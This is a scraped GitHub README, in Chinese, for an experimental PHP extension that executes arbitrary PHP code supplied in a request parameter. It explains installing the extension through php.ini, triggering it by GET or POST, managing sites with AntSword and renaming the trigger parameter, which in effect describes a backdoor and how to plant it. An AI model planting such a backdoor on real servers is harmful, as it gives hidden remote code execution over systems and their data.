phith0n/arbitrary-php-extension: 这是一个实验性的PHP扩展,加载这个扩展后,每次请求将可以执行一段自己的PHP代码。
2019-08-30 00:14:24 Author: github.com(查看原文) 阅读量:262 收藏

Join GitHub today

GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together.

Sign up

这是一个实验性的PHP扩展,加载这个扩展后,每次请求将可以执行一段自己的PHP代码。

C C++ Dockerfile M4 Shell Makefile

Permalink

Type Name Latest commit message Commit time
Failed to load latest commit information.
arbitraryphp initail Oct 22, 2018
dockerfiles initail Oct 22, 2018
screenshot add more manual Oct 22, 2018
tests initail Oct 22, 2018
.editorconfig initail Oct 22, 2018
.gitignore initail Oct 22, 2018
LICENSE add LICENSE Oct 22, 2018
README.md add more manual Oct 22, 2018
build-ext.sh initail Oct 22, 2018
builds.sh initail Oct 22, 2018

这是一个实验性的PHP扩展,加载这个扩展后,每次请求将可以执行一段自己的PHP代码。

可用于:

  • 管理目标PHP站点
  • HOOK与分析HTTP执行流程
  • 在不修改源代码的情况下控制PHP执行结果

安装

选择对应版本的PHP,下载Releases下的二进制文件安装包,解压并获得相应PHP版本的二进制文件。

执行php -i |grep extension_dir,获取扩展目录:

将二进制文件arbitraryphp.so移动到扩展目录中,并修改php.ini,开启这个扩展:

extension=arbitraryphp.so

使用

请求任意一个PHP,在参数arbitrary_php中增加任意PHP代码,即可执行:

也可以是POST请求:

使用AntSword管理:

从源码编译

你也可以自己编译扩展,首先安装如下软件:

  • docker

编译生成5.4~7.2版本下所有扩展:

只生成某个PHP版本的扩展:

docker run -it --rm --name uu -v /root/arbitrary-php:/app tuwen/zephir:7.2 bash /app/build-ext.sh

自定义执行参数

如果需要自定义请求参数arbitrary_php为其他值,可以修改arbitraryphp/ext/initial/pre_request.hREQUEST_NAME的值:

void pre_request(TSRMLS_D);

#define REQUEST_NAME "please_edit_it"

再重新编译扩展即可。

支持

二进制文件仅支持在Linux下使用,Mac或Windows等操作系统,请自行编译。

LICENSE

ArbitraryPHP遵循MIT开源协议发布。


文章来源: https://github.com/phith0n/arbitrary-php-extension
如有侵权请联系:admin#unsafe.sh